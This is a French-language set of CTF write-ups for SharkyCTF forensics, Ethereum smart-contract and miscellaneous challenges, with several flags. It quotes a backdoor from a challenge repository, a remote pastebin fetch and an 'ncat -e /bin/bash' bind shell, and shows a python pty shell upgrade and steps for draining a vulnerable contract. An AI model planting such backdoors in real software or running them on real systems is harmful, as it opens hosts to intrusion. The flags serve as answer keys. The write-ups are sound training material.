FLAG : shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}

Flag : shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}

Solved by Penthium2


EzDump Starting Block - (Forensic 100 pts)

Our SOC took contact with us because a suspicious process appeared in the logs. Could you investigate ?

Please retrieve :PID of this suspicious process
Process name
Time of the launching

Flag : shkCTF{pid:name:yyyy-mm-jj hh:mm:ss}Be carefull you only have 10 attempts.
The dump is the same as the one from EzDump - Build me.
Creator: 2phi

Ncat est très souvent utilisé pour faire des backdoor (le chall Entry point confirmera notre pensée)

volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_netstat > linux_netstat
	TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                  ncat/2854
volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_pslist > linux_pslist
	0xffff9f60b64f5230 ncat                 2854            1               0               0      0x0000000033e20000 2020-05-07 14:56:54 UTC+0000

Flag : shkCTF{2854:ncat:2020-05-07 14:56:54}

Solved and WU by Penthium2


EzDump Entry Point (Forensic 200 pts)

We do not understand how this process was launch.
Take a look at what k3vin did to find out where is the backdoor.
The dump is the same as the one from EzDump - Build me.

Creator: 2phi

Le point d'entré de la backdoor vient surement de l'extérieur et via une action de K3vin : dans l'historique de bash on voit qu'il fait un git sur une application de backup. on la récupère :

git clone https://github.com/tw0phi/PythonBackup

après analyse des différents fichiers on tombe sur le ficher snapshot.py avec une ligne interessante :

wget -O - https://pastebin.com/raw/nQwMKjtZ
### Congratz : c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null &

#Si on décode le base64
echo "c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=" | base64 -d

shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}

flag : shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}

Solved & WU by penthium2


EzDump Compromised - (Forensic 200 pts)

We do not understand. We changed the password of k3vin but it look's like someone can still access his account.
Can you please find out how the hacker did ?
Be careful you only have 10 attempts.
The dump is the same as the one from EzDump - Build me.

Creator: 2phi

Si un attanquand peut venir sur un post sous l'identité d'un utilisateur alors qu'on a changer sont mot de passe, c'est généralement du a un échange de clef RSA pouyr ssh ( ~/.ssh/authorized_keys )

On recherche cela :

volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_yarascan -Y "authorized" -p 3196 > linux_vim```

....
Task: vim pid 3196 rule r1 addr 0x2503525
0x02503525  61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 00   authorized_keys.
0x02503535  23 20 57 65 6c 6c 20 70 6c 61 79 65 64 20 3a 20   #.Well.played.:.
0x02503545  63 32 68 72 51 31 52 47 65 33 4a 6a 4c 6d 77 77   c2hrQ1RGe3JjLmww
0x02503555  59 7a 52 73 58 7a 46 7a 58 32 5a 31 62 6d 35 35   YzRsXzFzX2Z1bm55
0x02503565  58 32 4a 6c 4d 6a 51 33 4d 6d 4e 6d 59 57 56 6c   X2JlMjQ3MmNmYWVl
0x02503575  5a 44 51 32 4e 32 56 6a 4f 57 4e 68 59 6a 56 69   ZDQ2N2VjOWNhYjVi
0x02503585  4e 57 45 7a 4f 47 55 31 5a 6d 45 77 66 51 6f 3d   NWEzOGU1ZmEwfQo=

On décode le base64

echo "c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=" | base64 -d

FLAG : shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}

FLAG : shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}

Solved & WU by penthium2


Warmup - (Blockchain 97)

Unlock this contract to get the money :-)
Link to the blockchain challenges platform : ethereum
Creator : 2phi

Pour commencer il faut créer un wallet (porte-feuille).
MetaMask est une extension web permettant de créer et gérer son wallet.
https://metamask.io/

Il faut de l’ether de test dans notre wallet pour effectuer le challenge

Sur https://faucet.ropsten.be/ on peut demander de l’ether de test.

( Copier l'adresse du wallet puis mettre l’adresse qu’on a copié dans la demande )

Revenon sur le chall, on selectionne le level 0 et sur Instanciate.

Parallèlement on se rend sur l’IDE. https://remix.ethereum.org/

On sélectionne l’environnement SOLIDITY.

On copie le contrat du chall dans un nouveau fichier warmup.sol dans l’explorateur de fichier de l’IDE.

Sous l’onglet SOLIDITY COMPILER, on choisi la bonne version du compiler (0.4.25+commit) et on compile warmup.sol puis dans DEPLOY & RUN, on selectionne Injected Web3

La demande de transaction apparait

Après avoir accepté, on choisit le fichier compilé dans Contract (warmup.sol) SANS CONFIRMER LE DEPLOY

Pendant ce temps, une adresse est apparue a coté du bouton instanciate (sur la page du challenge ethereum)

En allant sur At Address, on constate que le contrat des déployé, 2 boutons apparues nous interèsse :

En analysant le code , on peut voir la variable "locked" de type booléen qui est à la valeur True par défaut avec le Constructor.

Ensuite la fonction withdraw().

Cette fonction nécéssite que la variable locked soit à la valeur False pour que la transaction soit correcte.

Pour que la variable locked soit à False, il faut d’abord exécuter la fonction unlock.

En observant la fonction unlock, on voit qu’il est requis que la transaction ai une valeur de 0.005 ether.

On met donc 0.005 ether dans la valeur de la transaction sur l’IDE puis on valide

On confirme sur la page de confirmation de transaction

Une fois la transaction effectuée on clique sur withdraw mais cette fois avec 0 ether dans la valeur de la transaction.

On reconfirme la transaction

Si tout s’est bien passé, sur la page du challenge on clique sur get flag et le flag apparaîtra puisque le contrat est unique et qu’il a détecté que les transactions ont bien été effectués.

Solve & WU by lednarek


Logic - (Blockchain 195 pts)

Will you be able to steal the money from this easy contract ?
Link to the blockchain challenges platform : ethereum
Creator : 2phi

Sur la page http://ethereum.sharkyctf.xyz/level/1 on analyse le code

pragma solidity = 0.4.25;

contract Logic {
    address public owner;
    bytes32 private passphrase = "th3 fl4g 1s n0t h3r3";
    
    constructor() public payable {
        owner = msg.sender;  
    }
    
    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.call.value(address(this).balance)();
    }

    function claim(bytes32 _secret) public payable {
        require(msg.value == 0.05 ether && _secret == passphrase);
        owner = msg.sender;
    }
}

Pour valider la transaction avec la fonction withdraw il faut :

  • owner = msg.sender

Cela veut dire qu'il faut d'abord valider une transaction avec la fonction claim. Et pour cela il faut :

  • 0.05 ether dans la transaction
  • Que l’argument passer à cette fonction soit égale à la variable passphrase définit au début du contrat.

Pour qu’il y ai 0.5 ether dans la transaction, on sait déjà le faire mais pour l’argument c’est tout nouveau.

Si on regarde bien, on voit que l’argument doit être au format Bytes32.

Logiquement si on met la passphrase “th3 fl4g 1s n0t h3r3” en Bytes32 et qu’on l’indique en argument lors de la transaction ça passe.

J’ai rencontré quelques problèmes lors de la conversion en Bytes32, le format n’était jamais bon avec la console du navigateur.

J’ai donc trouvé un site: https://blockchangers.github.io/solidity-converter-online/ .

Il m’a permit d’avoir le bon format:

Plus qu’à assembler tout ça dans l’IDE Remix.

On commence par créer notre fichier logic.sol avec le code du contrat et on le compile.

Ensuite DEPLOY & RUN

On renseigne ce qu’on a trouvé avec le Bytes32 converter online dans la textbox à côté de claim.

Normalement la transaction se passe bien.

Pour finir on fait une transaction avec withdraw (et 0 ether).

A la fin de cette transaction on retourne sur le chall et on clic sur get flag et le flag apparaît.

Solve & WR by lednarek


Welcome - (MISC 10 pts)

Join us on discord :-)
https://discord.gg/xaqMb44

Solve & WU by Phr3iz3r


Trolled - (MISC 50 pts)

When we go the this page chall, it’s refresh automatically so impossible to see what we have. Take Burp and make some step by step… And you will see the flag :

Just put it and just continue to forward all requests and it will be validated

Solved & WU by Phr3iz3r


Erwin's file manager - (MISC 197 pts)

Erwin just built himself a website. He is talking about quantum information science but in the end he doesn't know much about infosec. Could you help him fulfill his goal by reapplying quantum concept on this website ?
Creator: MasterFox
http://erwin.sharkyctf.xyz

So we have a file upload with the source code :

So to have the complete flag we need :

  • A polyglot file with ELF and JAR and PDF
  • A polyglot file with ELF and JAR
  • A polyglot file with JPG and JAR

Thanks to the awesome internet, we have this github repo with a lot of polyglot file :

Just take all files you needed (It can be more it doesn’t matter like PDF+ELF+ODT+JAR) and you will have your flag :

flag : shkCTF{Schr0diNgeR_w4s_A_gRea7_p01yg1o7_4e78011325dfbe4a05fd533ea422cc94}

Solve & WU by Phr3iz3r


EZDUMP Attacker - (Forensics 200 pts)

We need to report this cyberattack. Please find out who is this asshole and what is one of the first thing he did !
Retrieve :

  • Attacker IP
  • Local port used by the attacker
  • The bash command using python

Format : shkCTF{ip:port:the command you found}
The dump is the same as the one from EzDump - Build me.
Creator: 2phi

Okay so if we check all the process with the command linux_psaux with volatility we have this :

We can see a famous command to get a better shell with python python-c ’import pty; pty.spawn(« /bin/bash »)’

And we can see a port 12345 with the netcat nice ! We need the IP address now, thanks to linux_netstat we can have all connection esatblished by the server

So we have the IP 192.168.49.1

Flag  : shkCTF{192.168.49.1:12345:python -c ’import pty; pty.spawn(« /bin/bash»)’}

Solve & WU by Phr3iz3r


C'est avec plaisir que nous avons terminé 95 sur 828 équipes ! En plus d'être la 4eme équipe à avoir flag Pentest

Ce CTF étaient à mon gout très réussi, des challenges originaux, une plateforme "assez" stable malgré quelques petites turbulence

Merci à la team d'orga pour leur sympathie et professionnalisme